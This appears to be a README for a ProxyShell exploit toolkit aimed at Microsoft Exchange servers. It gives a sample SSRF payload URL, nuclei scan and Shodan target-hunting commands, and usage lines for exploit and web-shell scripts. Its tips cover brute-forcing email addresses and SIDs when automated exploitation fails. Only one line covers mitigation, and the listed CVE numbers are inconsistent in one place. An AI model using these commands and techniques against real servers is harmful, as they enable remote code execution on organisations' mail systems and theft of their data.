ProxyShell (CVE-2021-34473)

CVE-2021-34473 Microsoft Exchange Server Remote Code Execution Vulnerability. This faulty URL normalization lets us access an arbitrary backend URL while running as the Exchange Server machine account. Although this bug is not as powerful as the SSRF in ProxyLogon, and we could manipulate only the path part of the URL, it’s still powerful enough for us to conduct further attacks with arbitrary backend access.

CVE-2021-34523 - Exchange PowerShell Backend Elevation-of-Privilege
CVE-2021-31207 - Post-auth Arbitrary-File-Write

Scanner

nuclei scanner for Proxyshell RCE (CVE-2021-34423,CVE-2021-34473,CVE-2021-31207) discovered by orange tsai in Pwn2Own, which affect microsoft exchange server.

nuclei -u target.com -t proxyshell.yaml

https://xxx.xxx.xxx.xxx/autodiscover/[email protected]/mapi/nspi/?&Email=autodiscover/autodiscover.json%[email protected]

shodan target

sudo python3 shodan-query.py

Usage

sudo python3 ProxyShell.py -u https://<IP>

Features

No email address needs to be supplied
Attempts to enumerate emails from Active Directory
Attempts to enumerate LegacyDNs from Active Directory
Attempts to discover LegacyDNs from builtin emails
Attempts to discover SID of Exchange server in load-balanced deployments
Handles exploitation in load-balanced environments

manual pentest

 python2 /manual/check.py 
 sudo python3 /manual/proxyshell.py
 python2 /manual/shell.py

Tips:

recon target to find valid email address
if you do not find any email, use bruteforce target with your email file.
in some target automation exploit not work, you should bruteforce SID and replace in SID=500

Mitigations

Apply the security updates found here: CVE-2021-34473

ProxyShell

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